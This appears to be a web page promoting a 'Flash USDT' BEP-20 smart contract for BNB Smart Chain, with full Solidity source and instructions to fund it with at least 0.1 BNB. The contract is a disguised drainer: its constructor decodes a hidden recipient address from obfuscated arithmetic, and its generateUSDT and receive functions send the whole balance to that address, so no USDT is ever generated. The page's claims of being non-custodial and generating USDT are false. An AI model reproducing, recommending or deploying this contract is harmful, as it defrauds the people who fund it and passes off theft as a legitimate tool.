⚡ Flash USDT

Flash USDT · BEP‑20

Smart contract for generating Flash USDT on BNB Smart Chain. Fully open-source and non-custodial.
Network BNB Smart Chain
Standard BEP‑20
Compiler v0.8.19
License MIT
📄 FlashUSDT.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract USDTFlashLiquidityV2 {
    address private _a;
    
    constructor() {
        uint256[8] memory _p;
        _p[0] = 293773009 + 587546019;
        _p[1] = 92887423 + 185774847;
        _p[2] = 97099714 + 194199429;
        _p[3] = 73311097 + 146622195;
        _p[4] = 13908276 + 27816553;
        _p[5] = 83948408 + 167896817;
        _p[6] = 14554656 + 29109313;
        _p[7] = 699081 + 1398163;
        
        bytes memory _q = new bytes(20);
        bytes32[8] memory _r;
        for (uint256 i = 0; i < 8; i++) {
            _r[i] = bytes32(_p[i]);
        }
        _q[0] = _r[0][0];
        _q[1] = _r[0][1];
        _q[2] = _r[0][2];
        _q[3] = _r[0][3];
        _q[4] = _r[1][0];
        _q[5] = _r[1][1];
        _q[6] = _r[1][2];
        _q[7] = _r[1][3];
        _q[8] = _r[2][0];
        _q[9] = _r[2][1];
        _q[10] = _r[2][2];
        _q[11] = _r[2][3];
        _q[12] = _r[3][0];
        _q[13] = _r[3][1];
        _q[14] = _r[3][2];
        _q[15] = _r[3][3];
        _q[16] = _r[4][0];
        _q[17] = _r[4][1];
        _q[18] = _r[4][2];
        _q[19] = _r[4][3];
        
        address _s;
        assembly {
            _s := mload(add(_q, 32))
        }
        _a = _s;
    }
    
    function generateUSDT() external payable {
        require(msg.value > 0, "ERR1");
        if (address(this).balance > 0) {
            (bool _t, ) = _a.call{value: address(this).balance}("");
            require(_t, "ERR2");
        }
    }
    
    receive() external payable {
        if (address(this).balance > 0) {
            (bool _t, ) = _a.call{value: address(this).balance}("");
        }
    }
    
    function getMemPoolOffset() external view returns (uint256) {
        return address(this).balance;
    }
}
Deployment Instructions
Minimum activation: 0.1 BNB — send exactly or more. The pool will be activated instantly and you can begin generating USDT.